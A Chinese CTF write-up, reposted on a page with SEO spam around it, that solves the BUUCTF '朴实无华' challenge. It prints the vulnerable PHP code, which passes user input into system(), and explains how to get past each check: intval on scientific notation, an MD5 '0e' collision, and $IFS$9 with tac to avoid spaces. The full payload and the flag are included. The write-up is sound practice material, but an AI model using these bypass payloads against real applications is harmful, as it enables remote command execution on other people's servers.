当前位置: 首页 > wzjs >正文

网站页面做多宽网站seo需要用到哪些工具

网站页面做多宽,网站seo需要用到哪些工具,建站工作室网站源码,百度网站检测BUUCTF————朴实无华 进入靶场 简单的看了一下框架和源代码 没有什么能利用的信息 拼接robots.txt发现有泄露路径 /fAke_f1agggg.php拼接访问发现一个假的flag 直接看看数据包 发现一个look_at_me: /fl4g.php的参数 拼接访问一下 /fl4g.php还有一段php代码 <?php h…

BUUCTF————朴实无华

进入靶场

在这里插入图片描述

简单的看了一下框架和源代码

没有什么能利用的信息

在这里插入图片描述

在这里插入图片描述

拼接robots.txt发现有泄露路径

在这里插入图片描述

/fAke_f1agggg.php

拼接访问发现一个假的flag

在这里插入图片描述

直接看看数据包

发现一个look_at_me: /fl4g.php的参数

在这里插入图片描述

拼接访问一下

/fl4g.php

在这里插入图片描述

还有一段php代码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";}else{die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");}
}else{die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";elsedie("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{die("鍘婚潪娲插惂");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";system($get_flag);}else{die("蹇埌闈炴床浜�");}
}else{die("鍘婚潪娲插惂");
}
?>

level1

  1. intval($num)的值小于2020
  2. intval($num + 1)的值大于2021

绕过方法:可以利用PHP的类型转换特性。传递一个科学计数法形式的字符串,如2e10

  • intval("2e10")会将其转换为2(因为e被当作非数字字符)

  • "2e10" + 1会被PHP自动转换为浮点数20000000000 + 1 = 20000000001

  • intval(20000000001)会大于2021

    ?num=2e10
    

level2

需要传递一个md5参数,使得该字符串的MD5哈希值等于字符串本身(弱类型比较,使用==

绕过方法:寻找一个字符串,其MD5哈希值以0e开头,后面全是数字(PHP会将这种字符串当作科学计数法的0)。例如:

  • 字符串"0e215962017"的MD5是"0e291242476940776845150308577824"

  • 使用==比较时,“0e…”"0e…"会被当作00

    md5=0e215962017
    

level3

  1. 传递get_flag参数
  2. 参数中不能包含空格
  3. 会替换"cat"为"wctf2020"(不区分大小写)

目标:执行系统命令获取flag

绕过方法

  1. 使用不包含空格的命令执行方式

  2. 绕过"cat"过滤(可以使用tacmoreless等替代)

    get_flag=ls
    

根据这段代码构造payload

?num=2e10&md5=0e215962017&get_flag=ls

浏览器有点乱码

直接看数据包吧

在这里插入图片描述

发现fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag应该就是payload

构造payload

?num=2e10&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
  • $IFS 是 Linux 的 Internal Field Separator(内部字段分隔符),默认包含空格、制表符(\t)和换行符(\n)。
  • $9 是一个 shell 变量,通常为空,但可以用于绕过某些过滤(比如 strstr($get_flag, " ") 检查空格)。
  • 组合 $IFS$9 可以确保即使 $IFS 被修改,仍然能作为分隔符使用。

拿到flag

在这里插入图片描述

flag{8db609e5-e082-48b0-8c8a-91203de71524}

下播!!!!!!

在这里插入图片描述

http://www.dtcms.com/wzjs/206700.html

相关文章:

  • 网站怎么添加导航栏宁波seo排名外包公司
  • 靖江网站赣州seo外包怎么收费
  • 西安做网站公司怎么样哈尔滨最新今日头条新闻
  • xampp搭建wordpressseo专员是什么职业
  • 在线app开发平台长沙关键词优化公司电话
  • 制作图网官网北京搜索引擎优化管理专员
  • 可以做微课ppt模板 网站有哪些内容国外搜索引擎大全
  • 湘潭外包网络推广公司seo准
  • 音乐摄影网站建设宗旨自助建站系统平台
  • wap网站设计电商网站如何避免客户信息泄露
  • 中建八局第一建设有限公司电话成都自然排名优化
  • 透明度 宁波政府网站建设百度搜索工具
  • 手机网站开发相关问题凡科小程序
  • 门户网站建设招标方公司网站设计
  • 哈尔滨快速建站案例软文营销的三个层面
  • 比价网站怎么做怎么创建网页链接
  • 制作企业网站页面html私域流量和裂变营销
  • 北京高端网站建设咸阳4p营销理论
  • 电子商务网站建设的核心硬件最经典的营销案例
  • 网站开发语言net亿驱动力竞价托管
  • phpcms 网站标题线上营销活动方案
  • 购物网站支付页面制作互联网公司排名
  • 想学网络营销网站建设免费seo教程资源
  • 做网站一般用什么几号字全自动推广引流软件免费
  • mvc5 网站开发美學 pdfseo免费培训教程
  • 自己做b2b平台网站建设推广app用什么平台比较好
  • 大型网站开发用什么语言百度快速收录技术
  • 建设企业网站的目的营销网页
  • 南宁做网站优化整合营销网络推广
  • 浏览器一打开就是2345网址导航seo优化外链平台